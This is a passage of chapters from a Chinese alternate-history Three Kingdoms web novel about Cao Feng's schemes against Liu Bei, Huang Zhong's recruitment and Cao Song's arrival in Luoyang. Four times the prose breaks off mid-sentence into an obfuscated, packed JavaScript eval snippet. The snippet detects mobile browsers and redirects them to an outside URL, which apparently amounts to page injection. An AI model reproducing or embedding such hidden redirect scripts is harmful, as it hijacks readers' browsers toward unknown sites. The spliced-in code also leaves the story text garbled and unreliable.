“凭什么?”孙尚香不满地皱起眉头,“在建业时就被关在府里不得自由,来了这里还要被软禁?” 凌统的表情变得异常严肃:“大小姐,这里的城防可不是建邺城能比的。公子治下法度森严,治安极好。你一个生面孔在城里乱逛,很容易被当成奸细抓起来。” “如今孙权和公子是敌人。就凭你孙家大小姐的身份,若是被抓了,我都救不了你。” 孙尚香不以为然地皱了皱鼻子:“你不是江夏太守吗?难道这点权力都没有?” “除了我之外,城里还有公子派来的一位军师。”凌统压低声音,“他是公子的心腹,在这里的权力与我相当,甚至在某些方面还要更大。” 说到这里,凌统的表情更加凝重了,“你最好别被他遇到,不然……” “不然怎样?”孙尚香拍了拍腰间的古锭刀,不屑地说道。 “军师不都是些手无缚鸡之力的文官吗?难道他有公瑾哥哥那样的武艺?” 第124章 刘备破防:原来是曹风挖走了我的子龙! 一提到那个戴面具的军师,凌统就不由自主地打了个寒颤。 每次靠近那个人,总有种被毒蛇盯上的危险感觉,浑身上下每一个毛孔都透着不自在。 而且他曾亲眼目睹面具军师审讯一个敌军探子。 不打也不骂,全是用各种稀奇古怪的毒药。 那些装在精致小瓶里的毒物,有的能让人的皮肤一寸寸溃烂,有的会让人痛痒难忍却无法抓挠,还有的会让人产生可怕的幻觉。那手段…… 简直让人求生不得求死不能。 那些探子最后崩溃求饶的样子,至今还偶尔浮现在凌统的噩梦中。 凌统使劲摇摇头,仿佛要把这些可怕的回忆甩出脑中。 “在公子回信前,你最好永远别遇到他。”凌统郑重对孙尚香说道。 他声音里带着明显的忌惮,“你武艺虽好,但还没近身就会被他毒翻。” “况且他身边时刻都有公子派来的护卫,都是些不要命的家伙,据说都是从死人堆里爬出来的。” 与此同时,距离凌统府邸不远处的一座幽静宅院内。 李儒正坐在昏暗的书房里。 房间里弥漫着淡淡的药草味,四周的书架上摆满了各种瓶瓶罐罐,里面装着五颜六色的粉末和液体。 他缓缓掀开面具,露出一张苍白消瘦的脸,用力打了个喷嚏。 面具后的眼睛闪烁着阴冷的光芒,他自言自语道:“贾文和,你又在背后嘀咕我。看来是上次给你的教训还不够,又欠毒了是吧?” 无论是谁在背后议论自己,李儒都会下意识地认为是贾诩干的。 这两个人就像天生的对头。早在董卓麾下时,他们从第一次见面就互相看不顺眼。 如今要不是有曹风在中间调和压制,这两个老毒物估计早就开始互相算计,用尽各种阴毒手段置对方于死地了。 这时,屋外响起一个恭敬而谨慎的声音。 “大人,公子从洛阳送来了密信。请军师看过信后,立刻回信。” 声音的主人显然知道这位军师的脾气和手段,刻意保持着安全的距离。 李儒心头一沉。 洛阳距离此地数百里,公子却派人快马加鞭送来密信,还要求立刻回复。 看来是出了什么了不得的大事。 李儒放下手中把玩的瓷瓶,沉声道:“送进来吧。” 门外的人只是将房门推开,谨慎地没有踏入房间。 他躬身低头,双手将一封密封的书信高高托起。 房间阴暗的角落里无声地走出一个全身黑衣的护卫。他担心有人假扮曹风派来的信使,暗中谋害李儒。 护卫正要按惯例检查信件,却被李儒抬手制止。 “不必查了。”李儒笑着道,声音透过面具显得格外阴森,“这世上还没有人能毒到我。” 在自己专业领域里,李儒就是这么绝对自信。 护卫不敢违抗,恭敬地递上信件,然后躬身退下,重新隐入黑暗之中。 李儒接过信件,仔细阅读起来。 片刻后,他亲手将信件投入面前的火盆中,看着信件在火焰中化为灰烬。 屋内没有点灯,只有火盆里跳动的火焰提供着微弱的光亮。 李儒的手指轻轻敲击着案几,发出有节奏的声响。 阴冷的声音从面具后缓缓传出:“驱虎吞狼?荀彧啊,荀彧,你倒是想得美。” 他冷笑着,声音里带着几分讥讽,“真以为这种小把戏能瞒得过我吗?” 李儒借着火光,在一块上好的布帛上写下四个大字。 焚烬襄阳! 只要襄阳变成焦土,孙权和刘备都不会再眼馋这块战略要地。 而且,这片荒地也可以作为完美的隔离区,让曹风的上庸和新野两座城与孙刘的地盘彻底分割开。 这样,荀彧精心设计的计谋就彻底废掉了。 但沉思片刻后,他又摇了摇头。 当年火烧洛阳的惨状至今历历在目,那些在火海中惨叫的百姓,那些被浓烟熏黑的城墙,那些化为焦炭的尸体…… 这些记忆,还有当年在天水城曹风对他的警告,让李儒有些犹豫。 看着跳动的火焰,他思索良久。 最后,他重新拟定了一个计策。 李儒唤来信使,将写好的密信郑重交付:“速将此信送回洛阳,务必亲手交到公子手中,不得有任何闪失。” 信使领命而去后,李儒起身推开房门,仰头看着天上明月。 他想了想,决定亲自去一趟凌统的府邸。 当前局势下,必须加快孙权攻打合肥的进程,这样才能为曹风分担一些压力,打乱曹操那边的部署。 与此同时。 在刘备的府邸中,由于曹操突然昏迷,刘备阵营的众人眼前的天幕也消失不见了。 大厅里顿时议论纷纷,众人脸上都带着困惑表情。 张飞扯着大嗓门喊道:“这怎么没了?还没看够呢!” “我倒要瞧瞧,曹风那小子还撬了哪些人。该不会连大哥和孙权的手下都被他挖走了吧?” 说着,他扭头瞥向关羽。 关羽正捋着长须,手上动作忽然一滞。 曹风有没有挖到人,他不清楚。可这小子的确挖走了他的刀法。 刘备面色不太好看,因为张飞无意中说中了要害。 他手中紧紧攥着刚刚看过的情报,指节都因为用力而发白。 情报中明确提到,赵云出现在了曹风麾下。 更让他震惊的是,徐庶也投靠了曹风。 双倍的‘抛弃’让刘备在愤怒之余又充满好奇。 曹风到底是怎么挖了他这个号称“三国第一魅魔”的人的墙角的? 要知道,他刘备向来以善于笼络人心著称啊! 这些都是前尘往事,想要知道其中缘由,本来只能通过天幕了解。但现在天幕突然消失。 刘备也只能将这件事暂时放下。他现在全部心思会用在如何劝降黄忠。 天幕消失,众人暂时散会。 刘封正好借着这个机会准备开溜。 按照天幕上的时间线,他马上就要暴露了。即便刘备不杀他,关羽和诸葛亮也会想尽办法弄死他。 就在刘封回到自己府邸时,他的府院管事邓伯突然将他拦住。 这个管事是刘封从本家带来的,是个哑巴。 刘封对他十分信任,平日里也很尊重。 “邓伯,有何事?” 邓伯从袖中取出一封密封的信函,双手递给刘封,用沙哑的声音说道:“公子,给,您的。特意,交代,要,您亲启。” 很久没有说过话,他的声音听起来很不自然。 “哦。”有些醉酒的刘封接过信,随口嘀咕道:“哪个公子?是孙乾的儿子吗?” 等等…… 好像哪里不太对。 刘封突然瞪大眼睛,酒意瞬间去了一大半,震惊地指着邓伯:“你……你竟然会说话!” 邓伯拱手笑道,脸上的皱纹舒展开来:“在下是曹风公子手下的魍。” 邓伯说话时有些结巴,不太自然。他每个字都说得特别慢,像是在回忆该如何组织语言,又像是刚学会说话不久。 第125章 劝说黄忠?刘魅魔和他的水都失灵了 刘封站在庭院里,脑袋嗡嗡作响。 刘封难以置信,那个与他朝夕相处十余年,一直默默照顾他起居的邓伯…… 竟然也是曹风安插在他身边的人! 并且这十年来,邓伯是怎么做到从不开口说话的? 邓伯的这份隐忍,既让人敬佩,又让人害怕。 从邓伯的描述来看,他只是曹风手下一个叫【魍】的探子组织里的小角色。 刘封意识到自己还是远远低估了曹风这个人。 虽然之前已经觉得曹风强得离谱,但现在看来,曹风的布局之深远、手段之高明,完全超出了他的想象。 刘封拆开那封邓伯递给他的密信。 当他看清信中的内容时,眼睛瞪得更大了。 曹风居然要在刘备和诸葛亮眼皮子底下,把黄忠这个大活人“转移”到他自己的地盘! 信中开头说,要刘封在刘备那里进言,建议由刘封和黄忠共同带兵攻取上庸。 “这怎么可能?”刘封喃喃自语。 先不说刘备能否同意这个建议,单说让那个倔强的老将黄忠领兵为刘备打仗就不现实。 这些天来,刘备麾下那么多能言善辩之士去劝说黄忠,可这老家伙又臭又硬,根本不正眼瞧他们。 听说刘备明日要亲自登门拜访。 但能否成功还是未知数。 最让刘封震惊的是信中接下来的内容。 曹风竟然断言,只要刘封趁别人不注意的时候,对黄忠说几句他交代的话,就能让这位老将军同意为刘备领兵,征讨上庸。 这事儿要是别人说的,刘封绝对会嗤之以鼻,觉得简直是天方夜谭。 但对方是那个总能创造奇迹的曹风,刘封犹豫再三,决定还是试一试。 第二天清晨。 刘封跟随刘备一行人来到黄忠府邸。 只见朱红色的大门紧闭,门前挂着一个醒目的木牌,上面用黑墨写着“闭门谢客”四个大字。 张飞的暴脾气立刻就上来了,他撸起袖子,骂骂咧咧地就要去砸门。 “这老匹夫好大的架子!大哥亲自来访,居然敢闭门不见!” 刘备赶紧一把拉住张飞的手臂:“三弟,不可无礼!” 张飞虽然停下了动作,但还是气哼哼地说:“我这不是怕大哥心心念念的''翅膀''飞了吗?” 原来之前刘备曾说过“得黄忠如虎添翼”的话,张飞一直记在心里,此刻更是气愤。 刘备无奈地摇头苦笑,只能好言安抚这个莽撞的三弟。 站在一旁的关羽见状,一把将张飞拉到身边,“三弟,休要胡闹!” 张飞这才不情不愿地退到一旁,但还是忍不住瞪了大门一眼,嘟囔道:“哼!糟老头子,还挺能摆谱。” 刘备将目光投向诸葛亮。 只见诸葛亮轻摇羽扇,微笑着指了指大门:“主公,还请亲自叩门。” 刘备点点头,整理了一下衣冠,上前轻轻叩响门环,同时朗声说道。 “在下乃汉室宗亲,中山靖王刘胜之后,汉景帝阁下玄孙。姓刘名备,字玄德,特来拜访黄老将军。” 过了好一会儿,大门才缓缓打开一条缝。 一个面色苍白、身形消瘦的少年探出头来,警惕地打量着众人。 他勉强行了一礼:“黄忠之子黄叙,见过刘皇叔。” 虽然礼数周到,但少年脸上明显带着不情愿的神色。 黄叙在心里暗暗嘀咕:“直接说自己是刘备不就好了。弄那么一长串的名头,在这儿唬谁呢?” 诸葛亮敏锐地察觉到了气氛的尴尬,立即上前几步,与黄叙亲切交谈起来。 在诸葛亮的劝说下,黄叙这才勉强将众人引入府内。 穿过一条幽静的竹林小径,众人来到后院。 只见黄忠正仰面躺在一块平整的石桌上,脸上盖着一块粗布。 比起从前魁梧的身形,现在的他明显消瘦了许多,白发也多了不少。 刘备上前拱手行礼,声音诚恳:“汉升老将军,年近六旬犹能开三石之弓,真乃当世虎将!” “备素闻将军忠勇无双,昔日为韩玄守长沙,百姓皆颂其德。” “今汉室倾颓,奸雄四起,将军何不与备共扶社稷,上报国家,下安黎民?” 刘备这番话说得情真意切,可黄忠依旧纹丝不动,仿佛根本没听见一样。 诸葛亮见状,轻摇羽扇上前一步:“曹操挟天子以令诸侯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674100|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙权据江东而虎视,荆州乃四战之地,韩玄庸碌之辈岂能久守?他的失败是迟早的事。” “老将军一世英雄,何必耿耿于怀必败之局?" 听到这里,黄忠终于有了反应。他长叹一声,但仍旧没有起身。 诸葛亮见话已见效,继续劝说道:“我主刘皇叔乃汉室之胄,仁德布于四海。今为苍生**,正需将军这般忠义之士相助。天时人事,还望将军明察!” 黄忠这才缓缓拿开遮脸的那块粗布,露出一张饱经风霜的脸。 他叹息道:“旧主之恩,忠早已报答。不然也不会出现在长沙,为韩玄与刘皇叔交战。” “刘皇叔对老朽的看重,在下万分感激。可……” 说到这里,黄忠摇了摇头,“我已有心仪之主,虽不能居于其麾下,为其建功,但也不好再投他人。” 说完,他又将那块粗布盖回脸上。 站在后面的张飞看到这一幕,顿时眉开眼笑。 他凑到关羽耳边,压低声音道:“二哥,你快瞧瞧,大哥的‘水''也不是每次都灵验。我看这时候,还得咱兄弟俩出手。” 说完,他撸起袖子,大步走到石桌前。 “老头儿!”张飞粗声粗气地喊道,“且说说,你那心仪之主是谁?我这就将他擒来,与你共事于我大哥麾下!” 黄忠闻言猛地坐起身来,怒目圆睁:“环眼贼,安敢辱公子?!” 张飞也不甘示弱,回敬道:“什么狗屁公子!” 眼看两人就要动手,刘备等人慌忙上前将两人拉开。 经过张飞这一闹,刘备知道今天已经不可能再劝说黄忠了。他只得带着众人告辞离去。 等他们走远后,刘封却悄悄折返回来。 正要关门的黄叙看到去而复返的刘封,眉头紧锁。 “刘封,你又来做什么?” 刘封拱手沉声道:“受人所托,给汉升老将军带一句话。刚才人多,不方便说。” “你有什么话?”黄叙警惕地问,“告诉我,我转达给父亲便是。” 刘封摇摇头:“那位贵人特意交代,必须亲自说与黄老将军听。” 黄叙犹豫片刻,最终还是侧身让刘封进了门。 第126章 刘封的内心戏:风兄这计划会**的啊! 刘封心中忐忑着,再次回到黄府后院。 黄叙沉声道:“你可以说了。说完快些走。” 刘封谨慎地环顾四周,确认院中只有他们三人后,他才压低声音道。 “黄老将军,多年不见,可还识得谯县曹脩否?” 黄忠听到这话,浑身一震,如遭雷击。他猛地直起身子,把旁边的刘封和黄叙都吓了一跳。 黄忠起身,用布满老茧的大手一把扣住刘封的肩膀,力道大得几乎要捏碎骨头。 刘封疼得龇牙咧嘴,感觉肩膀都要脱臼了。 “你……你有曹脩公子的消息?” 黄忠的声音因为激动而颤抖。他布满皱纹的脸上写满期待,浑浊的老眼中闪过一丝光亮。 按照曹风信中交代的计策,刘封低下头,装出一副悲痛欲绝的样子:“曹脩公子已经……已经死于曹风之手。” 他故意停顿了一下,回想起刘备装哭的样子,声音哽咽,“公子临终前特意嘱咐,请您一定要为他报仇雪恨!” “什么?!”黄忠踉跄着后退两步,撞在石桌上发出闷响! “不可能!公子武艺超群,怎会死在曹风那个手无缚鸡之力的纨绔子弟手上?” “唉!”刘封长叹一声,装模作样地用袖子擦了擦并不存在的眼泪。 “具体情况我也不甚清楚。只听说是在一次宴会上……被下了毒……”他偷瞄着黄忠的反应,继续道,“公子临终前,请老将军为他报仇。” 黄忠恶狠狠道:“我誓杀曹风贼子!” 刘封沉声道:“老将军若想为曹脩公子报仇,眼下唯有先投靠我父亲刘玄德。这样您才能统领兵马攻打曹风,为公子报仇雪恨啊!” 黄忠渐渐冷静下来,但眼中的怒火仍未熄灭。 他用锐利的目光上下打量着刘封,沉声道:“这该不会是你父亲刘备的阴谋吧?为了让我归顺,特意编造公子被害的谎言?” 刘封摊开双手,做出一副无可奈何的样子:“公子临终前的话已带到,信不信由您。老将军大可自己查证。” “公子对忠有大恩啊!”黄忠突然激动起来,一把拉过身旁沉默不语的黄叙。年轻人面色苍白,身形消瘦,显然久病初愈。 “若非公子当年出手相救,寻来神医华佗,我这孩儿早已病逝。我们黄家……也会因此绝后啊!” 黄叙被父亲拽得一个趔趄,轻咳了几声。黄忠这才意识到自己用力过猛,连忙松开手。 “前番为报答韩玄知遇之恩,我已经离开公子一次。没想到却是最后一次见面。” 黄忠的声音突然变得哽咽,“公子若是尚在,我黄汉升绝不会再投效他人。可如今他……他……” 说到这里,黄忠突然死死盯住刘封,眼中杀意凛然。 他猛地拔出黄叙腰间的佩刀,寒光一闪,刀尖直指刘封咽喉。 “曹风竟敢谋害公子,此仇不共戴天!但若是你父子二人欺骗于我……”刀尖又向前递了半分,“我定先取你项上人头!再杀刘备!” 刘封感觉脖颈一凉,冷汗瞬间浸透内衫。 他强自镇定,喉结滚动了一下:“我怎敢欺瞒老将军。但我父亲与曹脩有旧怨,您借兵的时候,切不可与他提及曹脩之事。否则他绝不会借您兵马去报仇。” 见黄忠仍在犹豫,刘封赶紧补充道:"若老将军还是信不过我,年后开春,我可与您一同出兵,讨伐曹风!” “若我有半句虚言,老将军可以在阵前先斩我祭旗!” 刘封在心里暗暗叫苦:“风兄啊,风兄,你这帮我脱离刘备的计策虽妙,可黄忠这把大刀现在就架在我脖子上了。到时候谎言被拆穿,你可得想办法救我啊……” 与此同时,洛阳城门外。 曹风裹着厚厚的貂裘,带着家眷和文武官员,正在城门处列队等候。 寒风呼啸,卷起地上的积雪,打在众人脸上如同刀割。程昱站在曹风身侧,不时搓手呵气。 “这鬼天气,爷爷可别冻坏了身子。”曹风小声嘀咕,转头又对程昱道,“仲德,骗了黄忠老将军,我这心里还真有点过意不去。” 程昱闻言轻笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674101|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子何必自责?此计虽诈,却是无奈之举。若不如此,即便能瞒过刘备,也绝骗不过那诸葛亮和庞统。” 曹风点点头,望着远处白茫茫的官道:“我打算年后再攻虎牢关,仲德以为如何?” 程昱沉思片刻:“此时寒冬腊月,确实不宜攻城。” “虎牢关守将郝昭虽然年轻,却是曹操麾下除曹仁外最善守城的将领。” “天寒地冻,城墙结冰,更给了他守城之利。”程昱顿了顿,继续道:“即便勉强攻下,我军也会伤亡惨重。况且连番征战,将士们也该休整了,尤其是先登营的勇士们。” 两人正说话间,远处出现一支车队,缓缓驶来。 “来了!”曹风眼睛一亮,连忙拉起身旁曹婴的小手,上前去迎接曹嵩。 马车停稳后,曹德先跳下车,转身小心翼翼地搀扶曹嵩。 老人满头白发,披着厚重的狐裘,拄着龙头拐杖。 接着下来的是孙立,这位曾经的大内总管虽然年迈,但腰板依然挺得笔直。 曹风快步上前,躬身行礼:“孙儿给爷爷请安。” 又转向孙立:“孙儿给孙爷爷请安。” 曹婴好奇地打量着曹嵩,随后躬身行礼道:“暖暖给曾祖父请安。” 曹嵩眯着昏花的老眼,完全没理会曹风。 而是颤巍巍地向前走去,伸出布满老年斑的手抚摸曹婴的小脑袋:“终于见到我的宝贝曾孙女儿了。快让曾祖父好好瞧瞧。” 曹婴乖巧地握住老人冰凉的手:“曾祖父的手好凉呀,暖暖给您暖暖。” 说着就把老人的手往自己红扑扑的小脸上贴。 “哈哈哈!” 曹嵩开怀大笑,从怀中摸索半天,掏出一个碧绿通透的玉手镯:“来,这是曾祖父给暖暖的见面礼。” 站在一旁的曹风和曹德同时瞪大眼睛。 这手镯他们太熟悉了,是曹嵩珍藏多年的心头宝,据说是当年汉武帝赐给卫子夫的宝物。 曹风不知想了多少办法,都没能从曹嵩那里要来这个手镯。 第127章 曹婴:遇事不决,先问三叔 曹婴没有立即接过玉镯,而是转头看向曹风,那双明亮的大眼睛里满是询问。 这个突如其来的曾祖父让她既感到亲切又有些陌生。在这世上,曹婴唯一无条件信任的人,只有曹风。每次她犹豫不决,都会询问曹风。 曹嵩见状立刻板起脸,故意用认真的语气说道:“暖暖,不用管你三叔这个小财迷。曾祖父给你的东西,他要是敢说个不字……” 说着,曹嵩举起手中的拐杖,作势要打曹风。 曹风连忙摆手,脸上堆满讨好的笑容:“不敢不敢,爷爷您尽管给。”他边说边往后退了半步,生怕那根拐杖真的落在身上。 总挨揍的曹德在一旁看得眼红。整个曹家,能躲过老爷子拐杖的,除了曹操,也就只有曹风了。 曹嵩布满皱纹的脸上绽放出得意的笑容。他转身指着身后那支车队。车队里的马车足足有三十多辆,每辆都装得满满当当,车轮在雪地上压出深深的痕迹。 曹嵩声音洪亮地说道:“我趁着阿瞒那个不孝子昏迷不醒,把他的宝贝库都搬空啦!” “本来打算留给你三叔曹风的。”曹嵩故意拖长声调,瞥了眼站在一旁的曹风,“可现在我改主意了,这些都归暖暖喽!” 他说着还冲曹婴眨了眨眼睛,活像个老顽童。 曹婴眼睛一亮,她踮起脚尖望向那些满载的马车。 她知道三叔最喜欢这些宝贝了,每次得到新的珍藏都会高兴好几天。 接过手镯后,曹婴毫不犹豫地直接递给曹风:“三叔,给,这手镯和那些宝贝,现在都是咱俩的了。” 曹嵩目瞪口呆,“好哇!你们两个小东西!” 他佯装生气地跺了跺脚,但眼角的笑意却出卖了他真实的心情。 曹风笑嘻嘻地接过手镯,小心翼翼地执起曹婴纤细的手腕,将玉镯给她戴上:“暖暖乖,这些都是曾祖父疼你才给的,三叔不要。” 他故意长叹一声,“唉,老头子有了曾孙女儿,就把我这个孙子忘到九霄云外喽。” 站在一旁的曹德忍不住跟着小声嘀咕:“可不是嘛,当初有了你这个孙子,就把我这个儿子……” “哎哟!” 曹德话还没说完,曹嵩的拐杖已经‘啪''地一声敲在他腿上。这一下不算太重,但也疼得曹德龇牙咧嘴。 逗得一旁的曹婴捂嘴直笑。 曹婴笑得眼睛弯成了月牙儿,银铃般的笑声在风雪中格外清脆悦耳。 曹嵩看着眼前这一幕,心中涌起一股暖流。他再次仔细端详着曹婴,自己的这个曾孙女儿,怎么看都看不够。 尤其是那双灵动的大眼睛,和已经故去的长孙曹昂简直一模一样。 “唉!”曹嵩不由自主地发出一声叹息,这声叹息随着风雪卷上天际。他对那个间接害死曹昂的儿子曹操,又多了几分怨怒。 “眼瞧着就过年了。”曹嵩低声喃喃自语,“若是昂儿还活着,该多好。那才叫真正的团圆……” 这时,以程昱为首的文武官员整齐列队,齐声行礼。 “恭迎曹太公、孙太公!” 声音洪亮有力,在空旷的城门外回荡。 曹嵩淡定地捋着花白的胡须点头,心中暗想:“老头子我看人真准。我这孙儿,确实成气候了!几年不见,就这么多文臣武将了。” 他注意到这些官员里有几张熟悉的面孔,其中最眼熟的是程昱。 当年吕布偷袭兖州时,正是程昱保住了曹嵩的性命和财产。没想到几年过去,这家伙已经成了曹风手下头号文官。 而站在另一侧的孙立已经激动得眼角闪过泪花。 这个历经沧桑的老宦官没想到曹风的文武百官会如此郑重地迎接他这个阉人。 要知道,就算当年权倾朝野的十常侍,也没享受过这样的礼遇。他清楚地知道,这些人都是冲着曹风的面子才会这么做,尤其是那些平日里对阉人十分厌烦的文官们。 这也更加说明,曹风对自己的尊重有多深。 这个孙儿,他孙立没有白疼。 最后,在曹德、曹风和曹婴三代人的簇拥下,曹嵩拄着拐杖,志得意满地走向洛阳城门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674102|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风雪渐渐停歇,一缕金色的阳光穿透厚重的云层,恰好照在城门上“洛阳”两个鎏金大字上,让它们熠熠生辉。 这光芒也映照在曹嵩的脸上,让他布满皱纹的面容显得格外精神。 曹嵩仰头大笑,声音洪亮:“洛阳,我曹嵩风风光光地回来了!刘宏,你赌输了!我曹家从此,定会大兴!” 进城后,在迎接队伍中,曹嵩注意到有两个人的举止显得格外扭捏,与其他人格格不入。 他早就发现了这两个人,只是因为年事已高,眼睛花了,一直没看清他们的面容。 待距离拉近,曹嵩眯起眼睛仔细辨认…… 这才惊讶地发现,原来是他在邺城时听说已经战死的夏侯渊和曹彰。 夏侯渊穿着一身朴素的棉布衣,完全不见往日的武将风采;而曹彰则低着头,刻意避开众人的目光。 曹嵩二话不说,举起拐杖就打在夏侯渊身上,后者也不闪躲,只是低着头,闷声不吭。 “哑巴了?!”曹嵩冷哼一声,声音中带着几分怒意。 “你爹的脑袋可不像你这么迂腐!” 夏侯渊这才恭敬地给曹嵩行礼,“见过叔父。” 曹嵩本姓夏侯,后被宦官曹腾收养而改姓曹。 在夏侯家族里,夏侯渊的父亲与曹嵩关系最为要好。两人年轻时,同在官场相互扶持。 “我知道你念着与阿瞒的情义。”曹嵩警告道,“但你别做为难我孙儿的事情。他们爷俩的事儿,我都不参与,你也不准!” 曹嵩顿了顿,拐杖重重地敲在地上,“不然我就替你爹教训你。” “谨遵叔父教诲。”夏侯渊低着头回答。 他小时候敢和自己的父亲以及其他长辈耍倔强,但唯独不敢与曹嵩对着干。 一方面是因为曹嵩在夏侯家的威严无人能及。 另一方面,虽然曹嵩以吝啬著称,但他对夏侯家的这些小辈,却是格外照顾。 当年他们闯祸时,最后都是请曹嵩出面帮忙摆平的。这些往事让夏侯渊对曹嵩既敬重又感激。 第128章 曹嵩:夏侯渊,去蜀地把宝贝给我抢回来! 曹嵩上下打量着夏侯渊的穿着,皱眉问道:“怎么着?你这是解甲归田了?” 他注意到夏侯渊腰间空空如也,连佩剑都没有。 夏侯渊硬着头皮回答:“无心再战,只想陪着暖暖。” 他说这话时,目光不自觉地飘向站在曹风身边的曹婴,眼中流露出宠溺晚辈的神色。 “哼!”曹嵩怒哼一声,一把将曹婴搂到自己身边。 曹嵩语气像是在宣誓**,“这是我的曾孙女儿,我的宝贝。以后只能陪着我。你们谁也别想夺走。” 曹嵩说着还故意瞪了夏侯渊一眼,然后又将目光转向曹风,等待他的表态。 曹风连忙点头,脸上堆满笑容:“全凭爷爷做主。” 之后的战争会越来越危险,曹婴年纪还小,曹风没有十足把握能护她周全,所以不打算再把她带在身边了。 将她留在凉州才是最安全的,同时也能陪陪曹嵩。 曹嵩这才满意地点点头,脸上的皱纹舒展开来。他扭头对身旁的孙立说道:“蜀地的刘璋是西汉鲁恭王之后,他们家一直霸占着益州。” “我听刘宏生前提过,蜀地刘家有不少稀世珍宝。” “老弟,你之前一直陪着刘宏,这事儿是真的吗?” “确有此事。”孙立呵呵笑道,眼睛眯成了一条缝。 随后,他竟然把蜀地刘家的稀世珍宝如数家珍般一一道来。 从夜明珠到青铜器,从玉璧到金缕玉衣。 说得头头是道,就像在报菜名一样。 曹嵩听得眼中精光大盛,不时发出赞叹之声。 等孙立说完,他立刻转向夏侯渊,用不容置疑的语气命令道:“我让风儿借你一些兵马,你去把刘璋给我灭了!” “把他那些宝贝,都给夺来!”曹嵩说着伸出左手,五指缓缓收拢,仿佛要把刘璋的金山银山都攥进掌心。 “这……”夏侯渊面露难色,苦笑道,“叔父,我真是无心再战,况且……” “嗯?!”曹嵩怒目而视,手中的拐杖又举了起来。 夏侯渊喉咙鼓动了一下,把接下来的话硬生生又咽了回去。他太清楚曹嵩的脾气了,这时候再推辞只会挨揍。 “又哑巴了?”曹嵩举着拐杖,作势又要打下去。 夏侯渊连忙恭敬地说道:“叔父放心,年后我就去把刘璋灭了,把他的宝贝都给您抢回来。” 他的语气中带着几分无奈,但更多的是对长辈的顺从。 曹风正发愁怎么说服夏侯渊帮自己打仗,尤其是益州。 没想到曹嵩一来,三言两语就把这事搞定了。果然是家有一老,如有一宝! 曹嵩见夏侯渊答应了,这才满意地点点头。然后将目光转向一直沉默不语的曹彰。 曹嵩眼睛虽然花了,但看东西却十分仔细。他立刻发现了异常——曹彰的脖颈处有一道明显的绳子勒痕,手腕处也有几道伤疤。 见多识广的曹嵩立刻明白了是怎么回事。他的脸色瞬间阴沉下来,声音也变得格外严厉:“跪下!” 曹彰“噗通”一声跪在了冰冷的雪地上,积雪被他压得咯吱作响。 “黄须儿给祖父请安。”他的声音有些发抖,不知是因为寒冷还是紧张。 曹家和夏侯家的二代子弟中,只有曹风能让曹嵩露出笑脸。对其他人,曹嵩向来威严得很。谁要是惹他不高兴,回家肯定挨揍。所以大家都怕他。 曹嵩居高临下地教训道:“混账小子!我的长孙儿已经没了,你还想让我白发送黑发人吗?” 提到曹昂,他的声音中带着难以掩饰的痛心,眼眶也有些发红。 “孙儿不敢。”曹彰苦着脸回答,“只是我不能背叛父亲啊!怎会投降敌人!” “有骨气是好事儿……”曹嵩的语气稍微缓和了一些,他指着曹风说道,“但哪来的敌人!他是你三哥!” 说完,他似乎懒得再多费口舌,直接命令道:“你也滚去蜀地,给我抢宝贝去!” 然后头也不回地继续向前走。 回到洛阳府曹风的宅邸后,曹嵩迫不及待地抓住曹风的手,像个孩子似的急切地说道:“这里没有外人。好孙儿,有啥稀奇的宝贝,快拿出来给祖父瞧瞧。” 曹风神秘地笑了笑:“还真有一件。就是您一直惦记着的那件。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674103|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “一件哪能够。”曹嵩撇撇嘴,突然想到了什么,惊喜地瞪大眼睛,“不会是那件吧?” 他的声音因为兴奋而提高了八度。 曹风笑而不答,转身走向内室,不一会儿小心翼翼地捧出一个黄金镶边的锦缎盒子。 曹嵩使劲嗅了嗅鼻子,顿时两眼放光:“嗯!味儿对!里面绝对是好宝贝!” 他搓着双手,迫不及待地凑上前去看。 当木盒打开的那一刻,一块玉玺静静地躺在其中。 烛光下,泛着温润的光泽。玉玺上雕刻着五条栩栩如生的盘龙。 